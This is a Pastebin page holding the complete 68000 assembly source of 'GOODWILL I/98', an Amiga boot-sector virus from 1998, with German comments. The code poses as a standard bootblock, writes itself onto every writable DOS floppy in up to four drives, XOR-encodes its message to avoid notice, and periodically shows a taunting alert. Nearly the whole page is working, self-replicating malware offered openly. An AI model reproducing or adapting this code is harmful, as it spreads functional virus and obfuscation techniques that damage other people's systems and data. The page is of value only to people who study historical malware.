Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ****************************************************************************
- * THE GOODWILL I/98 BootBlock Virus © 5 October 1998 by Peace for Papillon
- * --------------------------------------------------------------------------
- * It's not a fuckin' disklamer but a shocker for foolish users, hope so!
- ****************************************************************************
- opt o+
- Output RAM:1
- _LVODisplayAlert equ -90
- _LVOFindResident equ -96
- _LVOAllocMem equ -198
- _LVOFreeMem equ -210
- _LVOFindTask equ -294
- _LVOCloseLibrary equ -414
- _LVOOpenDevice equ -444
- _LVOCloseDevice equ -450
- _LVODoIO equ -456
- _LVOOpenLibrary equ -552
- _LVOCopyMem equ -624
- CMD_READ equ 2
- CMD_WRITE equ 3
- CMD_UPDATE equ 4
- TD_MOTOR equ 9
- TD_CHANGESTATE equ 14
- TD_PROSTATUS equ 15
- io_Command equ 28
- io_Error equ 31
- io_Actual equ 32
- io_Length equ 36
- io_Data equ 40
- io_Offset equ 44
- bb_Code equ 0
- bb_CheckSum equ 4
- bb_RootBlk equ 8
- ID_ROOT equ 1
- GW_COUNT equ 8
- BYTESPERBLOCK equ 512
- RsReset
- MY_Base rs.b 0
- my_IOReply rs.l 8
- my_StdIOReq rs.b 48
- my_BootBuffer rs.b 1024
- my_TextBuffer rs.b 1024
- my_SIZEOF rs.w 0
- LIB MACRO
- jsr _LVO\1(a6)
- ENDM
- ****************************************************************************
- ;GOODWILL I/98 Virus, gut geignet für den BootBlock!
- GoodWill dc.l $444F5300 ;DOS0
- dc.l $00000000 ;CheckSum
- dc.l $00000370 ;RootBlock
- Std_Boot lea exp_lib(pc),a1 ;Standart OS2.0 BootBlock (fast)
- moveq #37,d0
- LIB OpenLibrary
- tst.l d0
- beq.s .no_explib
- movea.l d0,a1
- bset #6,34(a1)
- LIB CloseLibrary
- .no_explib lea dos_lib(pc),a1
- LIB FindResident
- tst.l d0
- beq.s .not_found
- movea.l d0,a0
- movea.l 22(a0),a0
- moveq #0,d0
- bsr.s GW_Virus ;Der BootBlock gehört MIR!
- rts
- .not_found moveq #-1,d0
- rts
- ****************************************************************************
- ;Aktivierung des GOODWILL VIRUS I/98 (hehehe!)
- GW_Virus movem.l d0-d7/a0-a6,-(sp)
- ;Zunächst Speicher für Dateninhalte / Boot- & RootBlock etc. reservieren.
- ;
- move.l #my_SIZEOF,d0
- move.l #$10003,d1
- LIB AllocMem
- tst.l d0
- beq GW_End
- movea.l d0,a5
- ;Die Häufigkeit der Virusvermehrung wird getestet. Sollten mehr als 8
- ;Infizierungen stattgefunden haben wird eine Warnmeldung in Form eines
- ;DisplayAlerts mit entsprechendem Text ausgegeben.
- ;
- lea gw_numb(pc),a0
- addi.w #1,(a0)
- move.w (a0),d0
- cmpi.w #GW_COUNT,d0
- bne.s GW_CalcBBSum
- lea int_lib(pc),a1
- moveq #0,d0
- LIB OpenLibrary
- tst.l d0
- beq GW_Repeat
- movea.l d0,a6
- ;Damit nicht bei dem Betrachten des BootBlocks schon vor der Verbreitung ein
- ;Unbehagen demselbigen entgegengebracht wird, wird der Virustext vor der
- ;zweiten Infizierung kodiert, da bei dem ersten Installiern dieser noch in
- ;lesbarer Form existiert. Das hat den Vorteil, daß in der Entwicklungsphase
- ;der Text beliebig geändert werden kann, ohne das dieser wiederholt kodiert
- ;werden muß. (Anm. des Autors: Ok, ich bin etwas faul!)
- ;
- lea gw_text(pc),a0 ;Text von Virus
- tst.b (a0) ;Schon kodiert?
- bne.s GW_Decrypt ;Ja!
- move.w #GW_TEXTLEN-1,d0 ;Länge Text in Bytes
- moveq #0,d1
- GW_Crypt addq.w #3,d1 ;Kodier-Code
- eor.b d1,(a0) ;Kodieren
- not.b (a0)+
- dbf d0,GW_Crypt
- GW_Decrypt lea gw_text(pc),a0 ;Kodierter Text
- lea my_TextBuffer(a5),a1 ;Platz für unkodierter Text
- move.w #GW_TEXTLEN-1,d0 ;Länge Text in Bytes
- moveq #0,d1
- 1$ move.b (a0)+,(a1) ;Text in Buffer kopieren
- addq.w #3,d1 ;Kodier-Code
- not.b (a1)
- eor.b d1,(a1)+ ;Dekodieren
- dbf d0,1$
- ;Ausgabe der Warnmeldung von GOODWILL I/98. (selber schuld)
- ;
- movem.l a5/a6,-(sp)
- lea my_TextBuffer(a5),a0 ;Dekodierter Virus-Text
- moveq #120,d1 ;Höhe des AlertScreen
- LIB DisplayAlert
- movem.l (sp)+,a5/a6
- movea.l a6,a1
- move.l 4.w,a6
- LIB CloseLibrary
- ;Counter wieder auf NULL setzen für die nächsten 8 Infizierungen und der
- ;darauf folgenden Warnmeldung.
- lea gw_numb(pc),a0
- clr.w (a0)
- ;Berechnung der neuen BB_CheckSum da u.A. 'gw_numb + 1'
- ;
- GW_CalcBBSum lea my_BootBuffer(a5),a3
- movea.l a3,a1
- lea GoodWill(pc),a0
- move.l #GW_BOOTLEN,d0
- LIB CopyMem
- movea.l a3,a0 ;my_BootBuffer
- clr.l bb_CheckSum(a3)
- moveq #0,d0
- move.w #$FF,d1
- 1$ add.l (a0)+,d0
- bcc.s 2$
- addq.l #1,d0
- 2$ dbf d1,1$
- not.l d0
- lea GoodWill(pc),a0
- move.l d0,bb_CheckSum(a0)
- moveq.l #3,d7 ;Max. Laufwerke in D7
- ;Einrichten des jeweiligen TrackDiskTask & IOStandartRequest
- ;
- GW_Repeat suba.l a1,a1
- LIB FindTask
- lea my_IOReply(a5),a2
- move.l d0,16(a2)
- lea my_StdIOReq(a5),a1
- move.l a2,14(a1)
- lea trk_dev(pc),a0
- move.l d7,d0 ;Aktuelles Laufwerk
- moveq #0,d1
- LIB OpenDevice
- tst.l d0
- bne GW_Until
- ;Test ob jeweilige Diskette eingelegt und nicht schreibgeschützt ist. Bei
- ;nicht zutreffen wird die GOODWILL I/98 installation abgebrochen. (leider)
- ;
- lea my_StdIOReq(a5),a1
- move.w #TD_CHANGESTATE,io_Command(a1)
- LIB DoIO
- tst.l io_Actual(a1)
- bne GW_Skip
- move.w #TD_PROSTATUS,io_Command(a1)
- LIB DoIO
- tst.l io_Actual(a1)
- bne GW_Skip
- ;Na gut! Wer seine DOS Disketten nicht sorgfältig überprüft ist selber
- ;schuld wenn sich dann folgendes abspielt:
- ;
- ;BootBlock einlesen und Position des RootBlocks ermitteln. Als Standart
- ;wird die RootBlock-Position 880 angenommen, da aber immer wieder eine
- ;Ausnahme die Regel bestätigt, wird sie zunächst über den BootBlock an
- ;Byte-Position 8 ermittelt. Ist der RootBlock eingelesen, wird getestet ob
- ;es sich nicht versehentlich um eine nicht DOS Diskette handelt deren Format
- ;über das FileSystem nicht erkannt würde. Solche Disketten benötigen in den
- ;meisten Fällen keinen RootBlock und werden deshalb auch nicht von GOODWILL
- ;infiziert. (wir wollen doch keinen Schaden anrichten)
- ;
- lea my_BootBuffer(a5),a3
- move.w #CMD_READ,io_Command(a1)
- move.l #BYTESPERBLOCK,io_Length(a1)
- move.l a3,io_Data(a1)
- move.l #0,io_Offset(a1)
- LIB DoIO
- tst.b io_Error(a1)
- bne.s GW_Motor
- move.l bb_RootBlk(a3),d0
- bne.s GW_Calcroot
- move.l #880,d0
- GW_Calcroot mulu #BYTESPERBLOCK,d0
- move.l d0,io_Offset(a1)
- LIB DoIO
- tst.b io_Error(a1)
- bne.s GW_Motor
- cmpi.l #ID_ROOT,508(a3)
- bne.s GW_Motor
- ;Die Daten des RootBlocks wieder löschen, warum auch nicht gleich den ganzen
- ;Buffer-Bereich, sicher ist sicher oder doch nicht?
- ;
- movea.l a3,a0 ;my_BootBuffer
- move.w #BYTESPERBLOCK/2,d0
- GW_Clear clr.l (a0)+
- dbf d0,GW_Clear
- ;GOODWILL I/98 Virus in ChipMem kopieren damit wird immer gewährleistet, daß
- ;die TrackDisk-Kommandos ihre Aufgabe auch wirklich erfüllen.
- movea.l a3,a1 ;my_BootBuffer
- lea GoodWill(pc),a0
- move.l #GW_BOOTLEN,d0
- LIB CopyMem
- ;So, hier folgt nun das Herzstück von GOODWILL. Zwar nicht kompromisslos,
- ;obwohl es ohne weiteres möglich währe, aber dafür mit äussester Effizienz.
- ;Machen wir es kurz, mein lieber BootBlock, du wirst infiziert.
- ;
- lea my_StdIOReq(a5),a1
- move.w #CMD_WRITE,io_Command(a1)
- move.l #BYTESPERBLOCK*2,io_Length(a1)
- move.l a3,io_Data(a1) ;my_BootBuffer
- move.l #0,io_Offset(a1)
- LIB DoIO
- move.w #CMD_UPDATE,io_Command(a1)
- LIB DoIO
- GW_Motor move.w #TD_MOTOR,io_Command(a1)
- move.l #0,io_Length(a1)
- LIB DoIO
- GW_Skip LIB CloseDevice
- GW_Until dbra d7,GW_Repeat
- ;Wenn soweit alles erledigt ist, muß natürlich der benötigte Speicherbereich
- ;dem System wieder zur Verfügung gestellt werden.
- ;
- GW_Free movea.l a5,a1
- move.l #my_SIZEOF,d0
- LIB FreeMem
- ;Register restauieren und zurück zu des BootBlocks Aufgabe.
- ;
- GW_End movem.l (sp)+,d0-d7/a0-a6
- rts
- ****************************************************************************
- ;Allgemeiner Datenbereich
- gw_numb dc.w GW_COUNT-1
- gw_text dc.b 0,47,24,"««««««««««« THE GOODWILL I/98 VIRUS ALARM! »»»»»»»»»»»",0,$FF
- dc.b 0,47,40,"Are You A Foolish User Or Are You Only Stupid",0,$FF
- dc.b 0,47,50,"What Could All Be Happen If I Would Be A Fuckin' Virus",0,$FF
- dc.b 0,47,60,"So You Should Check Your Disks As Soon As Possible",0,$FF
- dc.b 0,47,70,"And In Future Always Check Your Disks Before Using It",0,$FF
- dc.b 0,47,80,"But At First We Really Hope That We Have Shocked You!!",0,$FF
- dc.b 0,47,98,"««««««««««««««««« BYE, YOUR PAPILLON! »»»»»»»»»»»»»»»»",0,$00
- even
- GW_TEXTLEN equ *-gw_text
- dos_lib dc.b "dos.library",0
- exp_lib dc.b "expansion.library",0
- int_lib dc.b "intuition.library",0
- trk_dev dc.b "trackdisk.device",0
- gwv_i98 dc.b "GWV"
- GW_BOOTLEN equ *-GoodWill
- END
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement